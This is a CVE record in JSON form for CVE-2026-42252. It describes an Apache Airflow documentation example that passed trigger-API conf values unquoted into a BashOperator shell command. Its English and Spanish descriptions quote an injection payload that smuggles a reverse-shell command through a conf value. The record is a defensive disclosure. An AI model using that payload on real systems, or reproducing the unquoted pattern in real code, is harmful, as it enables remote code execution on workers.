CVE-2026-42252

{
  "id": "CVE-2026-42252",
  "sourceIdentifier": "[email protected]",
  "published": "2026-06-01T09:16:18.560",
  "lastModified": "2026-11-03T07:20:16.300",
  "vulnStatus": "Analyzed",
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release."
    },
    {
      "lang": "es",
      "value": "La documentación oficial de Apache Airflow en 'core-concepts/dag-run.html' ( Pasando parámetros al activar Dags ) mostraba un ejemplo textual de 'BashOperator(bash_command=\"echo value: {{ dag_run.conf[ conf1 ] }}\")' sin ninguna advertencia de entrecomillado / saneamiento. Los autores de Dags que copiaron el patrón textualmente en despliegues donde los usuarios tenían permiso 'Dag.can_trigger' en el Dag afectado (despliegues multi-equipo típicos, ofertas alojadas que exponen una API de activación) podrían estar expuestos a inyección de metacaracteres de shell a través del campo 'conf' de la API de activación: un usuario de activación autenticado podría suministrar '\"; bash -i  & /dev/tcp/.../9999 0 &1; #\"' como valor de 'conf' y alcanzar un 'os.exec' en el worker. Este CVE cubre la corrección de la documentación en 'apache/airflow' PR 64129 - el patrón en el ejemplo de la documentación ahora incluye entrecomillado de shell explícito y una advertencia de seguridad. Afecta a los despliegues cuyo código de Dag fue modelado según el ejemplo de la documentación pre-corrección. De la misma clase que las correcciones de patrón de documentación anteriores CVE-2025-50213 y CVE-2025-27018. Se aconseja a los usuarios actualizar a 'apache-airflow' 3.2.2 o posterior para obtener la documentación corregida que se incluye con la versión."
    }
  ],
  "affected": [
    {
      "source": "[email protected]",
      "affectedData": [
        {
          "vendor": "Apache Software Foundation",
          "product": "Apache Airflow",
          "defaultStatus": "unaffected",
          "collectionURL": "https://pypi.python.org",
          "packageName": "apache-airflow-core",
          "packageURL": "pkg:pypi/apache-airflow-core",
          "versions": [
            {
              "version": "3.0.0",
              "lessThan": "3.2.2",
              "versionType": "semver",
              "status": "affected"
            }
          ]
        }
      ]
    }
  ],
  "metrics": {
    "cvssMetricV31": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "type": "Secondary",
        "cvssData": {
          "version": "3.1",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "attackVector": "NETWORK",
          "attackComplexity": "LOW",
          "privilegesRequired": "NONE",
          "userInteraction": "NONE",
          "scope": "UNCHANGED",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "availabilityImpact": "NONE"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "timestamp": "2026-06-02T16:05:01.041622Z",
          "id": "CVE-2026-42252",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "version": "2.0.3"
        }
      }
    ]
  },
  "weaknesses": [
    {
      "source": "[email protected]",
      "type": "Secondary",
      "description": [
        {
          "lang": "en",
          "value": "CWE-1336"
        }
      ]
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "operator": "OR",
          "negate": false,
          "cpeMatch": [
            {
              "vulnerable": true,
              "criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*",
              "versionStartIncluding": "3.0.0",
              "versionEndExcluding": "3.2.2",
              "matchCriteriaId": "386C9448-B31E-4094-9935-5FDA9DB550B0"
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  "references": [
    {
      "url": "https://github.com/apache/airflow/pull/64129",
      "source": "[email protected]",
      "tags": [
        "Issue Tracking",
        "Patch"
      ]
    },
    {
      "url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7",
      "source": "[email protected]",
      "tags": [
        "Mailing List",
        "Vendor Advisory"
      ]
    }
  ]
}